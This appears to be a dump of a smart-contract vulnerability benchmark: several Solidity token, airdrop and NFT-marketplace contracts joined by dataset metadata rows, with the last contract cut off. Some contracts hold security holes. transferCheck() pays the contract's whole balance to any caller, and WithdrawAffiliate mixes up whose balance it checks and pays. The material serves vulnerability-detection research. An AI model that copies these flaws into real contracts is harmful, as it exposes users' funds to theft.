function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 10;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 5 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 15 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 10 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 9e8;
if (Claimed[investor] == false && progress0drop <= target0drop) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require(msg.value >= requestMinimum);
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if(now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require(msg.value >= requestMinimum);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
//here we will send all wei to your address
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function transferCheck() public {
totalEth = totalEth + msg.value;
uint256 amount = msg.value * unitsEth;
if (balances[walletAdd] < amount) {
return;
}
balances[walletAdd] = balances[walletAdd] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
msg.sender.transfer(this.balance);
}
}
| 177,122 | 11,156 |
aa09c4b75e11b89872ce91717e67251c3c37a767b5381e38ed0d96d62d297c39
| 18,623 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xf5aec8082b57f31a6af7af198b480b771b42c29d.sol
| 6,018 | 17,993 |
pragma solidity ^0.4.25;
contract EthereumSmartContract {
address EthereumNodes;
constructor() public {
EthereumNodes = msg.sender;
}
modifier restricted() {
require(msg.sender == EthereumNodes);
_;
}
function GetEthereumNodes() public view returns (address owner) { return EthereumNodes; }
}
contract ldoh is EthereumSmartContract {
event onCashbackCode (address indexed hodler, address cashbackcode);
event onAffiliateBonus (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onHoldplatform (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onUnlocktoken (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onReceiveAirdrop (address indexed hodler, uint256 amount, uint256 datetime);
event onHOLDdeposit (address indexed hodler, uint256 amount, uint256 newbalance, uint256 datetime);
event onHOLDwithdraw (address indexed hodler, uint256 amount, uint256 newbalance, uint256 datetime);
struct Safe {
uint256 id;
uint256 amount;
uint256 endtime;
address user;
address tokenAddress;
string tokenSymbol;
uint256 amountbalance;
uint256 cashbackbalance;
uint256 lasttime;
uint256 percentage;
uint256 percentagereceive;
uint256 tokenreceive;
uint256 lastwithdraw;
address referrer;
bool cashbackstatus;
}
uint256 private idnumber;
uint256 public TotalUser;
mapping(address => address) public cashbackcode;
mapping(address => uint256[]) public idaddress;
mapping(address => address[]) public afflist;
mapping(address => string) public ContractSymbol;
mapping(uint256 => Safe) private _safes;
mapping(address => bool) public contractaddress;
mapping (address => mapping (uint256 => uint256)) public Bigdata;
mapping (address => mapping (address => mapping (uint256 => uint256))) public Statistics;
address public Holdplatform_address;
uint256 public Holdplatform_balance;
mapping(address => uint256) public Holdplatform_status;
mapping(address => uint256) public Holdplatform_divider;
constructor() public {
idnumber = 500;
Holdplatform_address = 0x23bAdee11Bf49c40669e9b09035f048e9146213e;
}
function () public payable {
if (msg.value == 0) {
tothe_moon();
} else { revert(); }
}
function tothemoon() public payable {
if (msg.value == 0) {
tothe_moon();
} else { revert(); }
}
function tothe_moon() private {
for(uint256 i = 1; i < idnumber; i++) {
Safe storage s = _safes[i];
if (s.user == msg.sender) {
Unlocktoken(s.tokenAddress, s.id);
}
}
}
function CashbackCode(address _cashbackcode, uint256 uniquecode) public {
require(_cashbackcode != msg.sender);
if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000 && Bigdata[_cashbackcode][8] == 1 && Bigdata[_cashbackcode][18] != uniquecode) {
cashbackcode[msg.sender] = _cashbackcode; }
else { cashbackcode[msg.sender] = EthereumNodes; }
if (Bigdata[msg.sender][18] == 0) {
Bigdata[msg.sender][18] = uniquecode; }
emit onCashbackCode(msg.sender, _cashbackcode);
}
function Holdplatform(address tokenAddress, uint256 amount) public {
require(amount >= 1);
uint256 holdamount = add(Statistics[msg.sender][tokenAddress][5], amount);
require(holdamount <= Bigdata[tokenAddress][5]);
if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000) {
cashbackcode[msg.sender] = EthereumNodes;
Bigdata[msg.sender][18] = 123456;
}
if (contractaddress[tokenAddress] == false) { revert(); } else {
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.transferFrom(msg.sender, address(this), amount));
HodlTokens2(tokenAddress, amount);
Airdrop(tokenAddress, amount, 1);
}
}
function HodlTokens2(address ERC, uint256 amount) public {
address ref = cashbackcode[msg.sender];
address ref2 = EthereumNodes;
uint256 ReferrerContribution = Statistics[ref][ERC][5];
uint256 ReferralContribution = Statistics[msg.sender][ERC][5];
uint256 MyContribution = add(ReferralContribution, amount);
if (ref == EthereumNodes && Bigdata[msg.sender][8] == 0) {
uint256 nodecomission = div(mul(amount, 28), 100);
Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], nodecomission);
Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], nodecomission);
} else {
uint256 affcomission = div(mul(amount, 12), 100);
if (ReferrerContribution >= MyContribution) {
Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], affcomission);
Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], affcomission);
} else {
if (ReferrerContribution > ReferralContribution) {
if (amount <= add(ReferrerContribution,ReferralContribution)) {
uint256 AAA = sub(ReferrerContribution, ReferralContribution);
uint256 affcomission2 = div(mul(AAA, 12), 100);
uint256 affcomission3 = sub(affcomission, affcomission2);
} else {
uint256 BBB = sub(sub(amount, ReferrerContribution), ReferralContribution);
affcomission3 = div(mul(BBB, 12), 100);
affcomission2 = sub(affcomission, affcomission3); }
} else { affcomission2 = 0; affcomission3 = affcomission; }
Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], affcomission2);
Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], affcomission2);
Statistics[ref2][ERC][3] = add(Statistics[ref2][ERC][3], affcomission3);
Statistics[ref2][ERC][4] = add(Statistics[ref2][ERC][4], affcomission3);
}
}
HodlTokens3(ERC, amount, ref);
}
function HodlTokens3(address ERC, uint256 amount, address ref) public {
uint256 AvailableBalances = div(mul(amount, 72), 100);
uint256 AvailableCashback = div(mul(amount, 16), 100);
ERC20Interface token = ERC20Interface(ERC);
uint256 TokenPercent = Bigdata[ERC][1];
uint256 TokenHodlTime = Bigdata[ERC][2];
uint256 HodlTime = add(now, TokenHodlTime);
uint256 AM = amount; uint256 AB = AvailableBalances; uint256 AC = AvailableCashback;
amount = 0; AvailableBalances = 0; AvailableCashback = 0;
_safes[idnumber] = Safe(idnumber, AM, HodlTime, msg.sender, ERC, token.symbol(), AB, AC, now, TokenPercent, 0, 0, 0, ref, false);
Statistics[msg.sender][ERC][1] = add(Statistics[msg.sender][ERC][1], AM);
Statistics[msg.sender][ERC][5] = add(Statistics[msg.sender][ERC][5], AM);
Bigdata[ERC][6] = add(Bigdata[ERC][6], AM);
Bigdata[ERC][3] = add(Bigdata[ERC][3], AM);
if(Bigdata[msg.sender][8] == 1) {
idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][10]++; }
else {
afflist[ref].push(msg.sender); idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][9]++; Bigdata[ERC][10]++; TotalUser++; }
Bigdata[msg.sender][8] = 1;
emit onHoldplatform(msg.sender, ERC, token.symbol(), AM, HodlTime);
}
function Unlocktoken(address tokenAddress, uint256 id) public {
require(tokenAddress != 0x0);
require(id != 0);
Safe storage s = _safes[id];
require(s.user == msg.sender);
require(s.tokenAddress == tokenAddress);
if (s.amountbalance == 0) { revert(); } else { UnlockToken2(tokenAddress, id); }
}
function UnlockToken2(address ERC, uint256 id) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == ERC);
uint256 eventAmount = s.amountbalance;
address eventTokenAddress = s.tokenAddress;
string memory eventTokenSymbol = s.tokenSymbol;
if(s.endtime < now){
uint256 amounttransfer = add(s.amountbalance, s.cashbackbalance);
Statistics[msg.sender][ERC][5] = sub(Statistics[s.user][s.tokenAddress][5], s.amount);
s.lastwithdraw = amounttransfer; s.amountbalance = 0; s.lasttime = now;
PayToken(s.user, s.tokenAddress, amounttransfer);
if(s.cashbackbalance > 0 && s.cashbackstatus == false || s.cashbackstatus == true) {
s.tokenreceive = div(mul(s.amount, 88), 100) ; s.percentagereceive = mul(1000000000000000000, 88);
}
else {
s.tokenreceive = div(mul(s.amount, 72), 100) ; s.percentagereceive = mul(1000000000000000000, 72);
}
s.cashbackbalance = 0;
emit onUnlocktoken(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
} else { UnlockToken3(ERC, s.id); }
}
function UnlockToken3(address ERC, uint256 id) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == ERC);
uint256 timeframe = sub(now, s.lasttime);
uint256 CalculateWithdraw = div(mul(div(mul(s.amount, s.percentage), 100), timeframe), 2592000);
uint256 MaxWithdraw = div(s.amount, 10);
if (CalculateWithdraw > MaxWithdraw) { uint256 MaxAccumulation = MaxWithdraw; } else { MaxAccumulation = CalculateWithdraw; }
if (MaxAccumulation > s.amountbalance) { uint256 realAmount1 = s.amountbalance; } else { realAmount1 = MaxAccumulation; }
uint256 realAmount = add(s.cashbackbalance, realAmount1);
uint256 newamountbalance = sub(s.amountbalance, realAmount1);
s.cashbackbalance = 0;
s.amountbalance = newamountbalance;
s.lastwithdraw = realAmount;
s.lasttime = now;
UnlockToken4(ERC, id, newamountbalance, realAmount);
}
function UnlockToken4(address ERC, uint256 id, uint256 newamountbalance, uint256 realAmount) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == ERC);
uint256 eventAmount = realAmount;
address eventTokenAddress = s.tokenAddress;
string memory eventTokenSymbol = s.tokenSymbol;
uint256 tokenaffiliate = div(mul(s.amount, 12), 100) ;
uint256 maxcashback = div(mul(s.amount, 16), 100) ;
uint256 sid = s.id;
if (cashbackcode[msg.sender] == EthereumNodes && idaddress[msg.sender][0] == sid) {
uint256 tokenreceived = sub(sub(sub(s.amount, tokenaffiliate), maxcashback), newamountbalance) ;
}else { tokenreceived = sub(sub(s.amount, tokenaffiliate), newamountbalance) ;}
uint256 percentagereceived = div(mul(tokenreceived, 100000000000000000000), s.amount) ;
s.tokenreceive = tokenreceived;
s.percentagereceive = percentagereceived;
PayToken(s.user, s.tokenAddress, realAmount);
emit onUnlocktoken(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
Airdrop(s.tokenAddress, realAmount, 4);
}
function PayToken(address user, address tokenAddress, uint256 amount) private {
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
token.transfer(user, amount);
Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount);
Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount);
Statistics[msg.sender][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount);
Bigdata[tokenAddress][11]++;
}
function Airdrop(address tokenAddress, uint256 amount, uint256 extradivider) private {
if (Holdplatform_status[tokenAddress] == 1) {
require(Holdplatform_balance > 0);
uint256 divider = Holdplatform_divider[tokenAddress];
uint256 airdrop = div(div(amount, divider), extradivider);
address airdropaddress = Holdplatform_address;
ERC20Interface token = ERC20Interface(airdropaddress);
token.transfer(msg.sender, airdrop);
Holdplatform_balance = sub(Holdplatform_balance, airdrop);
Bigdata[tokenAddress][12]++;
emit onReceiveAirdrop(msg.sender, airdrop, now);
}
}
function GetUserSafesLength(address hodler) public view returns (uint256 length) {
return idaddress[hodler].length;
}
function GetTotalAffiliate(address hodler) public view returns (uint256 length) {
return afflist[hodler].length;
}
function GetSafe(uint256 _id) public view
returns (uint256 id, address user, address tokenAddress, uint256 amount, uint256 endtime, string tokenSymbol, uint256 amountbalance, uint256 cashbackbalance, uint256 lasttime, uint256 percentage, uint256 percentagereceive, uint256 tokenreceive)
{
Safe storage s = _safes[_id];
return(s.id, s.user, s.tokenAddress, s.amount, s.endtime, s.tokenSymbol, s.amountbalance, s.cashbackbalance, s.lasttime, s.percentage, s.percentagereceive, s.tokenreceive);
}
function WithdrawAffiliate(address user, address tokenAddress) public {
require(tokenAddress != 0x0);
require(Statistics[user][tokenAddress][3] > 0);
uint256 amount = Statistics[msg.sender][tokenAddress][3];
Statistics[msg.sender][tokenAddress][3] = 0;
Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount);
Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount);
uint256 eventAmount = amount;
address eventTokenAddress = tokenAddress;
string memory eventTokenSymbol = ContractSymbol[tokenAddress];
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
token.transfer(user, amount);
Statistics[user][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount);
Bigdata[tokenAddress][13]++;
emit onAffiliateBonus(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
Airdrop(tokenAddress, amount, 4);
}
function AddContractAddress(address tokenAddress, uint256 CurrentUSDprice, uint256 CurrentETHprice, uint256 _maxcontribution, string _ContractSymbol, uint256 _PercentPermonth) public restricted {
uint256 newSpeed = _PercentPermonth;
require(newSpeed >= 3 && newSpeed <= 12);
Bigdata[tokenAddress][1] = newSpeed;
ContractSymbol[tokenAddress] = _ContractSymbol;
Bigdata[tokenAddress][5] = _maxcontribution;
uint256 _HodlingTime = mul(div(72, newSpeed), 30);
uint256 HodlTime = _HodlingTime * 1 days;
Bigdata[tokenAddress][2] = HodlTime;
Bigdata[tokenAddress][14] = CurrentUSDprice;
Bigdata[tokenAddress][17] = CurrentETHprice;
contractaddress[tokenAddress] = true;
}
function TokenPrice(address tokenAddress, uint256 Currentprice, uint256 ATHprice, uint256 ATLprice, uint256 ETHprice) public restricted {
if (Currentprice > 0) { Bigdata[tokenAddress][14] = Currentprice; }
if (ATHprice > 0) { Bigdata[tokenAddress][15] = ATHprice; }
if (ATLprice > 0) { Bigdata[tokenAddress][16] = ATLprice; }
if (ETHprice > 0) { Bigdata[tokenAddress][17] = ETHprice; }
}
function Holdplatform_Airdrop(address tokenAddress, uint256 HPM_status, uint256 HPM_divider) public restricted {
require(HPM_status == 0 || HPM_status == 1);
Holdplatform_status[tokenAddress] = HPM_status;
Holdplatform_divider[tokenAddress] = HPM_divider;
}
function Holdplatform_Deposit(uint256 amount) restricted public {
require(amount > 0);
ERC20Interface token = ERC20Interface(Holdplatform_address);
require(token.transferFrom(msg.sender, address(this), amount));
uint256 newbalance = add(Holdplatform_balance, amount) ;
Holdplatform_balance = newbalance;
emit onHOLDdeposit(msg.sender, amount, newbalance, now);
}
function Holdplatform_Withdraw(uint256 amount) restricted public {
require(Holdplatform_balance > 0 && amount <= Holdplatform_balance);
uint256 newbalance = sub(Holdplatform_balance, amount) ;
Holdplatform_balance = newbalance;
ERC20Interface token = ERC20Interface(Holdplatform_address);
require(token.balanceOf(address(this)) >= amount);
token.transfer(msg.sender, amount);
emit onHOLDwithdraw(msg.sender, amount, newbalance, now);
}
function ReturnAllTokens() restricted public
{
for(uint256 i = 1; i < idnumber; i++) {
Safe storage s = _safes[i];
if (s.id != 0) {
if(s.amountbalance > 0) {
uint256 amount = add(s.amountbalance, s.cashbackbalance);
PayToken(s.user, s.tokenAddress, amount);
s.amountbalance = 0;
s.cashbackbalance = 0;
Statistics[s.user][s.tokenAddress][5] = 0;
}
}
}
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract ERC20Interface {
uint256 public totalSupply;
uint256 public decimals;
function symbol() public view returns (string);
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
| 161,180 | 11,157 |
844a89e54e2bdb9bcab441a0d24bdde7f6508c52f4002ba1c811af76e8ae609d
| 12,388 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x5d1df39f8c8278cc95d078c992eff355870c5d38.sol
| 3,254 | 11,389 |
pragma solidity ^0.5.8;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract IERC721 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract ERC20BasicInterface {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
uint8 public decimals;
}
contract Bussiness is Ownable {
address public ceoAddress = address(0xFce92D4163AA532AA096DE8a3C4fEf9f875Bc55F);
IERC721 public erc721Address = IERC721(0x06012c8cf97BEaD5deAe237070F9587f8E7A266d);
ERC20BasicInterface public hbwalletToken = ERC20BasicInterface(0xEc7ba74789694d0d03D458965370Dc7cF2FE75Ba);
uint256 public ETHFee = 0; // 25 = 2,5 %
uint256 public Percen = 1000;
uint256 public HBWALLETExchange = 21;
// cong thuc hbFee = ETHFee / Percen * HBWALLETExchange / 2
uint256 public limitETHFee = 0;
uint256 public limitHBWALLETFee = 0;
uint256 public hightLightFee = 10000000000000000;
constructor() public {}
struct Price {
address payable tokenOwner;
uint256 price;
uint256 fee;
uint256 hbfee;
bool isHightlight;
}
uint[] public arrayTokenIdSale;
mapping(uint256 => Price) public prices;
modifier onlyCeoAddress() {
require(msg.sender == ceoAddress);
_;
}
// Move the last element to the deleted spot.
// Delete the last element, then correct the length.
function _burnArrayTokenIdSale(uint index) internal {
require(index < arrayTokenIdSale.length);
arrayTokenIdSale[index] = arrayTokenIdSale[arrayTokenIdSale.length - 1];
delete arrayTokenIdSale[arrayTokenIdSale.length - 1];
arrayTokenIdSale.length--;
}
function _burnArrayTokenIdSaleByArr(uint[] memory arr) internal {
for(uint i; i<arr.length; i++){
arrayTokenIdSale[i] = arrayTokenIdSale[arrayTokenIdSale.length - 1];
delete arrayTokenIdSale[arrayTokenIdSale.length - 1];
arrayTokenIdSale.length--;
}
}
function ownerOf(uint256 _tokenId) public view returns (address){
return erc721Address.ownerOf(_tokenId);
}
function balanceOf() public view returns (uint256){
return address(this).balance;
}
function getApproved(uint256 _tokenId) public view returns (address){
return erc721Address.getApproved(_tokenId);
}
function setPrice(uint256 _tokenId, uint256 _ethPrice, uint256 _ethfee, uint256 _hbfee, bool _isHightLight) internal {
prices[_tokenId] = Price(msg.sender, _ethPrice, _ethfee, _hbfee, _isHightLight);
arrayTokenIdSale.push(_tokenId);
}
function setPriceFeeEth(uint256 _tokenId, uint256 _ethPrice, bool _isHightLight) public payable {
require(erc721Address.ownerOf(_tokenId) == msg.sender && prices[_tokenId].price != _ethPrice);
uint256 ethfee;
uint256 _hightLightFee = 0;
if (_isHightLight == true && (prices[_tokenId].price == 0 || prices[_tokenId].isHightlight == false)) {
_hightLightFee = hightLightFee;
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = (_ethPrice - prices[_tokenId].price) * ETHFee / Percen;
if(prices[_tokenId].price == 0) {
if (ethfee >= limitETHFee) {
require(msg.value == ethfee + _hightLightFee);
} else {
require(msg.value == limitETHFee + _hightLightFee);
ethfee = limitETHFee;
}
}
ethfee += prices[_tokenId].fee;
} else ethfee = _ethPrice * ETHFee / Percen;
setPrice(_tokenId, _ethPrice, ethfee, 0, _isHightLight);
}
function setPriceFeeHBWALLET(uint256 _tokenId, uint256 _ethPrice, bool _isHightLight) public returns (bool){
require(erc721Address.ownerOf(_tokenId) == msg.sender && prices[_tokenId].price != _ethPrice);
uint256 fee;
uint256 ethfee;
uint256 _hightLightFee = 0;
if (_isHightLight == true && (prices[_tokenId].price == 0 || prices[_tokenId].isHightlight == false)) {
_hightLightFee = hightLightFee * HBWALLETExchange / 2 / (10 ** 16);
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = (_ethPrice - prices[_tokenId].price) * ETHFee / Percen;
fee = ethfee * HBWALLETExchange / 2 / (10 ** 16);
// ethfee * HBWALLETExchange / 2 * (10 ** 2) / (10 ** 18)
if(prices[_tokenId].price == 0) {
if (fee >= limitHBWALLETFee) {
require(hbwalletToken.transferFrom(msg.sender, address(this), fee + _hightLightFee));
} else {
require(hbwalletToken.transferFrom(msg.sender, address(this), limitHBWALLETFee + _hightLightFee));
fee = limitHBWALLETFee;
}
}
fee += prices[_tokenId].hbfee;
} else {
ethfee = _ethPrice * ETHFee / Percen;
fee = ethfee * HBWALLETExchange / 2 / (10 ** 16);
}
setPrice(_tokenId, _ethPrice, 0, fee, _isHightLight);
return true;
}
function removePrice(uint256 tokenId) public returns (uint256){
require(erc721Address.ownerOf(tokenId) == msg.sender);
if (prices[tokenId].fee > 0) msg.sender.transfer(prices[tokenId].fee);
else if (prices[tokenId].hbfee > 0) hbwalletToken.transfer(msg.sender, prices[tokenId].hbfee);
resetPrice(tokenId);
return prices[tokenId].price;
}
function setFee(uint256 _ethFee, uint256 _HBWALLETExchange, uint256 _hightLightFee) public onlyOwner returns (uint256, uint256, uint256){
require(_ethFee >= 0 && _HBWALLETExchange >= 1 && _hightLightFee >= 0);
ETHFee = _ethFee;
HBWALLETExchange = _HBWALLETExchange;
hightLightFee = _hightLightFee;
return (ETHFee, HBWALLETExchange, hightLightFee);
}
function setLimitFee(uint256 _ethlimitFee, uint256 _hbWalletlimitFee) public onlyOwner returns (uint256, uint256){
require(_ethlimitFee >= 0 && _hbWalletlimitFee >= 0);
limitETHFee = _ethlimitFee;
limitHBWALLETFee = _hbWalletlimitFee;
return (limitETHFee, limitHBWALLETFee);
}
function withdraw(address payable _address, uint256 amount, uint256 _amountHB) public onlyCeoAddress {
require(_address != address(0) && amount > 0 && address(this).balance >= amount && _amountHB > 0 && hbwalletToken.balanceOf(address(this)) >= _amountHB);
_address.transfer(amount);
hbwalletToken.transferFrom(address(this), _address, _amountHB);
}
function cancelBussiness() public onlyCeoAddress {
for (uint i = 0; i < arrayTokenIdSale.length; i++) {
if (prices[arrayTokenIdSale[i]].tokenOwner == erc721Address.ownerOf(arrayTokenIdSale[i])) {
if (prices[arrayTokenIdSale[i]].fee > 0) {
uint256 eth = prices[arrayTokenIdSale[i]].fee;
if(prices[arrayTokenIdSale[i]].isHightlight == true) eth += hightLightFee;
if(address(this).balance >= eth) {
prices[arrayTokenIdSale[i]].tokenOwner.transfer(eth);
}
}
else if (prices[arrayTokenIdSale[i]].hbfee > 0) {
uint256 hb = prices[arrayTokenIdSale[i]].hbfee;
if(prices[arrayTokenIdSale[i]].isHightlight == true) hb += hightLightFee * HBWALLETExchange / 2 / (10 ** 16);
if(hbwalletToken.balanceOf(address(this)) >= hb) {
hbwalletToken.transfer(prices[arrayTokenIdSale[i]].tokenOwner, hb);
}
}
}
}
withdraw(msg.sender, address(this).balance, hbwalletToken.balanceOf(address(this)));
}
function revenue() public view onlyCeoAddress returns (uint256, uint256){
uint256 ethfee = 0;
uint256 hbfee = 0;
for (uint256 i = 0; i < arrayTokenIdSale.length; i++) {
if (prices[arrayTokenIdSale[i]].tokenOwner == erc721Address.ownerOf(arrayTokenIdSale[i])) {
if (prices[arrayTokenIdSale[i]].fee > 0) {
ethfee += prices[arrayTokenIdSale[i]].fee;
}
else if (prices[arrayTokenIdSale[i]].hbfee > 0) {
hbfee += prices[arrayTokenIdSale[i]].hbfee;
}
}
}
uint256 eth = address(this).balance - ethfee;
uint256 hb = hbwalletToken.balanceOf(address(this)) - hbfee;
return (eth, hb);
}
function changeCeo(address _address) public onlyCeoAddress {
require(_address != address(0));
ceoAddress = _address;
}
function buy(uint256 tokenId) public payable {
require(getApproved(tokenId) == address(this));
require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value);
erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId);
prices[tokenId].tokenOwner.transfer(msg.value);
resetPrice(tokenId);
}
function buyWithoutCheckApproved(uint256 tokenId) public payable {
require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value);
erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId);
prices[tokenId].tokenOwner.transfer(msg.value);
resetPrice(tokenId);
}
function resetPrice(uint256 tokenId) private {
